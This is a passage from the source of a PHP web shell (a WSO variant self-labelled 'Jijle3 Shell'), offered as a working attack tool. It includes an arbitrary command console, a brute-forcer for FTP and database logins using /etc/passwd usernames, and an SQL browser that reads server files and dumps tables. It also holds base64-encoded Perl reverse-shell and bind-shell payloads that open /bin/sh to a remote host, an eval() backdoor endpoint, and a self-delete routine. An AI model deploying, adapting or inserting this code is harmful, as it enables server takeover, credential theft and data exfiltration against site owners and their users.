3110 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
3111 echo '</div>';
3112 wsoFooter();
3113 }
3114 function actionConsole() {
3115 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
3116 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
3117 $_POST['p1'].= ' 2>&1';
3118 } elseif (!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
3119 if (isset($_POST['ajax'])) {
3120 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
3121 ob_start();
3122 echo "d.cf.cmd.value='';
3123";
3124 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
3125$ " . $_POST['p1'] . "
3126" . wsoEx($_POST['p1']), "
3127
3128 \'"));
3129 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
3130 if (@chdir($match[1])) {
3131 $GLOBALS['cwd'] = @getcwd();
3132 echo "c_='" . $GLOBALS['cwd'] . "';";
3133 }
3134 }
3135 echo "d.cf.output.value+='" . $temp . "';";
3136 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
3137 $temp = ob_get_clean();
3138 echo strlen($temp), "
3139", $temp;
3140 exit;
3141 }
3142 wsoHeader();
3143 echo "<script>
3144if(window.Event) window.captureEvents(Event.KEYDOWN);
3145var cmds = new Array('');
3146var cur = 0;
3147function kp(e) {
3148 var n = (window.Event) ? e.which : e.keyCode;
3149 if(n == 38) {
3150 cur--;
3151 if(cur>=0)
3152 document.cf.cmd.value = cmds[cur];
3153 else
3154 cur++;
3155 } else if(n == 40) {
3156 cur++;
3157 if(cur < cmds.length)
3158 document.cf.cmd.value = cmds[cur];
3159 else
3160 cur--;
3161 }
3162}
3163function add(cmd) {
3164 cmds.pop();
3165 cmds.push(cmd);
3166 cmds.push('');
3167 cur = cmds.length-1;
3168}
3169
3170</script>";
3171 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
3172 foreach ($GLOBALS['aliases'] as $n => $v) {
3173 if ($v == '') {
3174 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
3175 continue;
3176 }
3177 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
3178 }
3179 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
3180 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
3181 if (!empty($_POST['p1'])) {
3182 echo htmlspecialchars("$ " . $_POST['p1'] . "
3183" . wsoEx($_POST['p1']));
3184 }
3185 echo '</textarea><table cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
3186 echo '</form></div><script>d.cf.cmd.focus();</script>';
3187 wsoFooter();
3188 }
3189 function actionLogout() {
3190 session_destroy();
3191 die('bye!');
3192 }
3193 function actionSelfRemove() {
3194 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Salam Alaykoum ! See You Soon ♥');
3195 else echo 'unlink error!';
3196 if ($_POST['p1'] != 'yes') wsoHeader();
3197 echo '<h1>Suicide</h1><div class=content>Do You Want To Delete Jijle3 Shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes Please</a></div>';
3198 wsoFooter();
3199 }
3200 function actionBruteforce() {
3201 wsoHeader();
3202 if (isset($_POST['proto'])) {
3203 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
3204 if ($_POST['proto'] == 'ftp') {
3205 function bruteForce($ip, $port, $login, $pass) {
3206 $fp = @ftp_connect($ip, $port ? $port : 21);
3207 if (!$fp) return false;
3208 $res = @ftp_login($fp, $login, $pass);
3209 @ftp_close($fp);
3210 return $res;
3211 }
3212 } elseif ($_POST['proto'] == 'mysql') {
3213 function bruteForce($ip, $port, $login, $pass) {
3214 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
3215 @mysql_close($res);
3216 return $res;
3217 }
3218 } elseif ($_POST['proto'] == 'pgsql') {
3219 function bruteForce($ip, $port, $login, $pass) {
3220 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
3221 $res = @pg_connect($str);
3222 @pg_close($res);
3223 return $res;
3224 }
3225 }
3226 $success = 0;
3227 $attempts = 0;
3228 $server = explode(":", $_POST['server']);
3229 if ($_POST['type'] == 1) {
3230 $temp = @file('/etc/passwd');
3231 if (is_array($temp)) foreach ($temp as $line) {
3232 $line = explode(":", $line);
3233 ++$attempts;
3234 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
3235 $success++;
3236 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
3237 }
3238 if (@$_POST['reverse']) {
3239 $tmp = "";
3240 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
3241 ++$attempts;
3242 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
3243 $success++;
3244 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
3245 }
3246 }
3247 }
3248 } elseif ($_POST['type'] == 2) {
3249 $temp = @file($_POST['dict']);
3250 if (is_array($temp)) foreach ($temp as $line) {
3251 $line = trim($line);
3252 ++$attempts;
3253 if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
3254 $success++;
3255 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
3256 }
3257 }
3258 }
3259 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
3260 }
3261 echo '<center><h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
3262 echo '</div><br>';
3263 wsoFooter();
3264 }
3265 function actionSql() {
3266 class DbClass {
3267 var $type;
3268 var $link;
3269 var $res;
3270 function DbClass($type) {
3271 $this->type = $type;
3272 }
3273 function connect($host, $user, $pass, $dbname) {
3274 switch ($this->type) {
3275 case 'mysql':
3276 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
3277 break;
3278 case 'pgsql':
3279 $host = explode(':', $host);
3280 if (!$host[1]) $host[1] = 5432;
3281 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
3282 break;
3283 }
3284 return false;
3285 }
3286 function selectdb($db) {
3287 switch ($this->type) {
3288 case 'mysql':
3289 if (@mysql_select_db($db)) return true;
3290 break;
3291 }
3292 return false;
3293 }
3294 function query($str) {
3295 switch ($this->type) {
3296 case 'mysql':
3297 return $this->res = @mysql_query($str);
3298 break;
3299 case 'pgsql':
3300 return $this->res = @pg_query($this->link, $str);
3301 break;
3302 }
3303 return false;
3304 }
3305 function fetch() {
3306 $res = func_num_args() ? func_get_arg(0) : $this->res;
3307 switch ($this->type) {
3308 case 'mysql':
3309 return @mysql_fetch_assoc($res);
3310 break;
3311 case 'pgsql':
3312 return @pg_fetch_assoc($res);
3313 break;
3314 }
3315 return false;
3316 }
3317 function listDbs() {
3318 switch ($this->type) {
3319 case 'mysql':
3320 return $this->query("SHOW databases");
3321 break;
3322 case 'pgsql':
3323 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
3324 break;
3325 }
3326 return false;
3327 }
3328 function listTables() {
3329 switch ($this->type) {
3330 case 'mysql':
3331 return $this->res = $this->query('SHOW TABLES');
3332 break;
3333 case 'pgsql':
3334 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
3335 break;
3336 }
3337 return false;
3338 }
3339 function error() {
3340 switch ($this->type) {
3341 case 'mysql':
3342 return @mysql_error();
3343 break;
3344 case 'pgsql':
3345 return @pg_last_error();
3346 break;
3347 }
3348 return false;
3349 }
3350 function setCharset($str) {
3351 switch ($this->type) {
3352 case 'mysql':
3353 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
3354 else $this->query('SET CHARSET ' . $str);
3355 break;
3356 case 'pgsql':
3357 return @pg_set_client_encoding($this->link, $str);
3358 break;
3359 }
3360 return false;
3361 }
3362 function loadFile($str) {
3363 switch ($this->type) {
3364 case 'mysql':
3365 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
3366 break;
3367 case 'pgsql':
3368 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
3369 $r = array();
3370 while ($i = $this->fetch()) $r[] = $i['file'];
3371 $this->query('drop table wso2');
3372 return array('file' => implode("
3373", $r));
3374 break;
3375 }
3376 return false;
3377 }
3378 function dump($table, $fp = false) {
3379 switch ($this->type) {
3380 case 'mysql':
3381 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
3382 $create = mysql_fetch_array($res);
3383 $sql = $create[1] . ";
3384";
3385 if ($fp) fwrite($fp, $sql);
3386 else echo ($sql);
3387 $this->query('SELECT * FROM `' . $table . '`');
3388 $head = true;
3389 while ($item = $this->fetch()) {
3390 $columns = array();
3391 foreach ($item as $k => $v) {
3392 if ($v == null) $item[$k] = "NULL";
3393 elseif (is_numeric($v)) $item[$k] = $v;
3394 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
3395 $columns[] = "`" . $k . "`";
3396 }
3397 if ($head) {
3398 $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
3399 (" . implode(", ", $item) . ')';
3400 $head = false;
3401 } else $sql = "
3402 ,(" . implode(", ", $item) . ')';
3403 if ($fp) fwrite($fp, $sql);
3404 else echo ($sql);
3405 }
3406 if (!$head) if ($fp) fwrite($fp, ";
3407
3408");
3409 else echo (";
3410
3411");
3412 break;
3413 case 'pgsql':
3414 $this->query('SELECT * FROM ' . $table);
3415 while ($item = $this->fetch()) {
3416 $columns = array();
3417 foreach ($item as $k => $v) {
3418 $item[$k] = "'" . addslashes($v) . "'";
3419 $columns[] = $k;
3420 }
3421 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
3422";
3423 if ($fp) fwrite($fp, $sql);
3424 else echo ($sql);
3425 }
3426 break;
3427 }
3428 return false;
3429 }
3430 };
3431 $db = new DbClass($_POST['type']);
3432 if (@$_POST['p2'] == 'download') {
3433 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
3434 $db->selectdb($_POST['sql_base']);
3435 switch ($_POST['charset']) {
3436 case "Windows-1251":
3437 $db->setCharset('cp1251');
3438 break;
3439 case "UTF-8":
3440 $db->setCharset('utf8');
3441 break;
3442 case "KOI8-R":
3443 $db->setCharset('koi8r');
3444 break;
3445 case "KOI8-U":
3446 $db->setCharset('koi8u');
3447 break;
3448 case "cp866":
3449 $db->setCharset('cp866');
3450 break;
3451 }
3452 if (empty($_POST['file'])) {
3453 ob_start("ob_gzhandler", 4096);
3454 header("Content-Disposition: attachment; filename=dump.sql");
3455 header("Content-Type: text/plain");
3456 foreach ($_POST['tbl'] as $v) $db->dump($v);
3457 exit;
3458 } elseif ($fp = @fopen($_POST['file'], 'w')) {
3459 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
3460 fclose($fp);
3461 unset($_POST['p2']);
3462 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
3463 }
3464 wsoHeader();
3465 echo "
3466<center>
3467<h1>Sql browser</h1><div class=content>
3468<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
3469<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
3470<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
3471<td><select name='type'><option value='mysql' ";
3472 if (@$_POST['type'] == 'mysql') echo 'selected';
3473 echo ">MySql</option><option value='pgsql' ";
3474 if (@$_POST['type'] == 'pgsql') echo 'selected';
3475 echo ">PostgreSql</option></select></td>
3476<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
3477<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
3478<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
3479 $tmp = "<input type=text name=sql_base value=''>";
3480 if (isset($_POST['sql_host'])) {
3481 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
3482 switch ($_POST['charset']) {
3483 case "Windows-1251":
3484 $db->setCharset('cp1251');
3485 break;
3486 case "UTF-8":
3487 $db->setCharset('utf8');
3488 break;
3489 case "KOI8-R":
3490 $db->setCharset('koi8r');
3491 break;
3492 case "KOI8-U":
3493 $db->setCharset('koi8u');
3494 break;
3495 case "cp866":
3496 $db->setCharset('cp866');
3497 break;
3498 }
3499 $db->listDbs();
3500 echo "<select name=sql_base><option value=''></option>";
3501 while ($item = $db->fetch()) {
3502 list($key, $value) = each($item);
3503 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
3504 }
3505 echo '</select>';
3506 } else echo $tmp;
3507 } else echo $tmp;
3508 echo "</td>
3509
3510 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
3511 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
3512 </tr>
3513 </table>
3514 <script>
3515 s_db='" . @addslashes($_POST['sql_base']) . "';
3516 function fs(f) {
3517 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
3518 if(f.p1) f.p1.value='';
3519 if(f.p2) f.p2.value='';
3520 if(f.p3) f.p3.value='';
3521 }
3522 }
3523 function st(t,l) {
3524 d.sf.p1.value = 'select';
3525 d.sf.p2.value = t;
3526 if(l && d.sf.p3) d.sf.p3.value = l;
3527 d.sf.submit();
3528 }
3529 function is() {
3530 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
3531 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
3532 }
3533 </script>";
3534 if (isset($db) && $db->link) {
3535 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
3536 if (!empty($_POST['sql_base'])) {
3537 $db->selectdb($_POST['sql_base']);
3538 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
3539 $tbls_res = $db->listTables();
3540 while ($item = $db->fetch($tbls_res)) {
3541 list($key, $value) = each($item);
3542 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
3543 $value = htmlspecialchars($value);
3544 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
3545 }
3546 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
3547 if (@$_POST['p1'] == 'select') {
3548 $_POST['p1'] = 'query';
3549 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
3550 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
3551 $num = $db->fetch();
3552 $pages = ceil($num['n'] / 30);
3553 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
3554 echo " of $pages";
3555 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
3556 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
3557 $_POST['p3']--;
3558 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
3559 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
3560 echo "<br><br>";
3561 }
3562 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
3563 $db->query(@$_POST['p2']);
3564 if ($db->res !== false) {
3565 $title = false;
3566 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
3567 $line = 1;
3568 while ($item = $db->fetch()) {
3569 if (!$title) {
3570 echo '<tr>';
3571 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
3572 reset($item);
3573 $title = true;
3574 echo '</tr><tr>';
3575 $line = 2;
3576 }
3577 echo '<tr class="l' . $line . '">';
3578 $line = $line == 1 ? 2 : 1;
3579 foreach ($item as $key => $value) {
3580 if ($value == null) echo '<td><i>null</i></td>';
3581 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
3582 }
3583 echo '</tr>';
3584 }
3585 echo '</table>';
3586 } else {
3587 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
3588 }
3589 }
3590 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
3591 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
3592 echo "</textarea><br/><input type=submit value='Execute'>";
3593 echo "</td></tr>";
3594 }
3595 echo "</table></form><br/>";
3596 if ($_POST['type'] == 'mysql') {
3597 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
3598 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
3599 }
3600 if (@$_POST['p1'] == 'loadfile') {
3601 $file = $db->loadFile($_POST['p2']);
3602 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
3603 }
3604 } else {
3605 echo htmlspecialchars($db->error());
3606 }
3607 echo '</div>';
3608 wsoFooter();
3609 }
3610 function actionNetwork() {
3611 wsoHeader();
3612 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";
3613 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
3614 echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect [perl]</span><br/>Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>";
3615 if (isset($_POST['p1'])) {
3616 function cf($f, $t) {
3617 $w = @fopen($f, "w") or @function_exists('file_put_contents');
3618 if ($w) {
3619 @fwrite($w, base64_decode($t));
3620 @fclose($w);
3621 }
3622 }
3623 if ($_POST['p1'] == 'bpp') {
3624 cf("/tmp/bp.pl", $bind_port_p);
3625 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
3626 sleep(1);
3627 echo "<pre class=ml1>$out
3628" . wsoEx("ps aux | grep bp.pl") . "</pre>";
3629 unlink("/tmp/bp.pl");
3630 }
3631 if ($_POST['p1'] == 'bcp') {
3632 cf("/tmp/bc.pl", $back_connect_p);
3633 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
3634 sleep(1);
3635 echo "<pre class=ml1>$out
3636" . wsoEx("ps aux | grep bc.pl") . "</pre>";
3637 unlink("/tmp/bc.pl");
3638 }
3639 }
3640 echo '</div>';
3641 wsoFooter();
3642 }
3643 function actionRC() {
3644 if (!@$_POST['p1']) {
3645 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
3646 echo serialize($a);
3647 } else {
3648 eval($_POST['p1']);
3649 }
3650 }
3651 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
3652 else $_POST['a'] = 'Home';
3653 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
3654 exit;
3655?>